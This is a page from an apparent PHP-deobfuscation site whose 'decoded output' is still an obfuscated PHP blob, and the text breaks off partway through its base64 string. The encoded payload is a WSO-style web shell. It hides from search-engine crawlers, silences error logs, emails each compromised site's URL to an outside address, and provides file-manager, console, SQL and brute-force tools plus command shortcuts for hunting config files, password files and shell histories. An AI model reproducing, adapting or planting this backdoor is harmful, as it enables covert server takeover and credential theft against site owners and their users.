Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocA0KIyBNMmQ0ZjQ1ZCBieSBOMVpaICMNCiQxM3RoX3Axc3MgPSAiNXU3YT..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocA0KIyBNMmQ0ZjQ1ZCBieSBOMVpaICMNCiQxM3RoX3Axc3MgPSAiNXU3YTZjZDVkZDg4dWY1NWQ4OGRjOTA3OThlb2NhNzgiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAnVzRuZDJ3cy02YWk2JzsNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmknKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCjRmKCE0c3M1dCgkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCgk0ZiggNW1wdHkoJDEzdGhfcDFzcykgfHwgKCA0c3M1dCgkX1BPU1RbJ3Axc3MnXSkgJiYgKG1kaSgkX1BPU1RbJ3Axc3MnXSkgPT0gJDEzdGhfcDFzcykgKSApDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1Ow0KCTVsczUNCgkJd3MyTDJnNG4oKTsNCg0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KCSQycyA9ICd3NG4nOw0KNWxzNQ0KCSQycyA9ICduNHgnOw0KJHY0czR0YyA9ICRfQ09PS0lFWyJ2NHM0dHMiXTsNCjRmICghJHY0czR0Yykgew0KICAgICR2NHM0dGMgID0gMDsNCiAgICAkdjRzNHQyciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICR3NWIgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAgICQ0bmogID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgJHQxcmc1dCAgPSByMXczcmxkNWMyZDUoJHc1Yi4kNG5qKTsNCiAgICAkajNkM2wgICA9ICJTaDVsbDogaHR0cDovLyR0MXJnNXQgYnkgJHY0czR0MnIiOw0KICAgICRiMmR5ICAgID0gIlNoNWxsOiBodHRwOi8vJHQxcmc1dCBieSAkdjRzNHQyciI7DQogICAgQG0xNGwoIno1aDE2OTk2QGdtMTRsLmMybSIsICRqM2QzbCwgJGIyZHkpOw0KfSA1bHM1IHsNCiAgICAkdjRzNHRjKys7DQp9DQoNCkBzNXRjMjJrNDUoInY0czR0cyIsICR2NHM0dGMpOw0KDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KDQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKDRzczV0KCRfUE9TVFsnYyddKSkNCglAY2hkNHIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnNXRjd2QoKTsNCjRmKCQycyA9PSAndzRuJykgew0KCSRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCgkkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCjRmKCAkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycgKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRHTE9CQUxTWydkNWYxM2x0XzNzNV8xajF4J107DQoJDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogIAkJImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCgkJIkwyYzF0NSIgPT4gIiIsDQogIAkJImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KCQkibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCgkJImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCgkJImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQoJCSJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCgkJImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KCQkibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQoJCSJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQoJCSJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KCQkibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCgkJImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQoJCSJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KCQkibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQoJCSJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQoJCSJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQoJCSJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCgkJImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiCQ0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIH4gIiAuIFdTT19WRVJTSU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojZmZmZmZmO2MybDJyOiMwMDAwMDA7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojMDAwMDAwOyB9DQp0MWJsNS40bmYyeyBjMmwycjojMDAwMDAwO2IxY2tncjIzbmQtYzJsMnI6IzU5NTk1OTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogIzAwMDAwMCAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICNDb0M3Q0E7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IEFyNDFsLFQxaDJtMTtiMWNrZ3IyM25kLWMybDJyOiNmZmZmZmY7bTFyZzRuOjBweDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojNTk1OTU5OyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjZjlmOWY5O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6YWkwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6IzAwMDAwMDtiMWNrZ3IyM25kLWMybDJyOiNmZmZmZmY7YjJyZDVyOjZweCBzMmw0ZCAjQzhFb0ZvOyBmMm50OiA5cHQgTTJuMnNwMWM1LCdDMjNyNDVyIE41dyc7IH0NCmYycm17IG0xcmc0bjowcHg7IH0NCiN0MjJsc1RibHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCi50MjJsc0lucHsgdzRkdGg6IG8wMHB4IH0NCi5tMTRuIHRoe3Q1eHQtMWw0Z246bDVmdDtiMWNrZ3IyM25kLWMybDJyOiNlRTdEOGU7fQ0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojQzhFb0ZvfQ0KLmw2e2IxY2tncjIzbmQtYzJsMnI6I2Y5ZjlmOX0NCi5sYXtiMWNrZ3IyM25kLWMybDJyOiNDOEVvRm99DQpwcjV7ZjJudC1mMW00bHk6QzIzcjQ1cixNMm4yc3AxYzU7fQ0KPC9zdHlsNT4NCjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX0NCglmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCXYxciBwMXIxbXMgPSAnMWoxeD10cjM1JzsNCgkJZjJyKDQ9MDs0PGQubWYuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCXAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQoJCXNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KCX0NCglmM25jdDQybiBzcigzcmwsIHAxcjFtcykgewkNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiNDb0M3Q0E7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOyANCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovL3d3dy5nMjJnbDUuYzJtL3M1MXJjaD9xPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRGLTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTUUwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8YzVudDVyPjxmMm50IGMybDJyPSIjaWVpMGk2IiA+PGYybnQgczR6NT0iYXB0IiBmMWM1PSJDMjNyNDVyIE41dywgQXI0MWwiPlsjXSBSb0xBUFNvICcgLiBXU09fVkVSU0lPTiAuICcgQnkgIE4xWlogPC9mMm50PjwvYzVudDVyPic7DQoJNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPjNuMW01Ojxicj4zczVyOjxicj5waHA6PGJyPmhkZDo8YnI+cHdkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM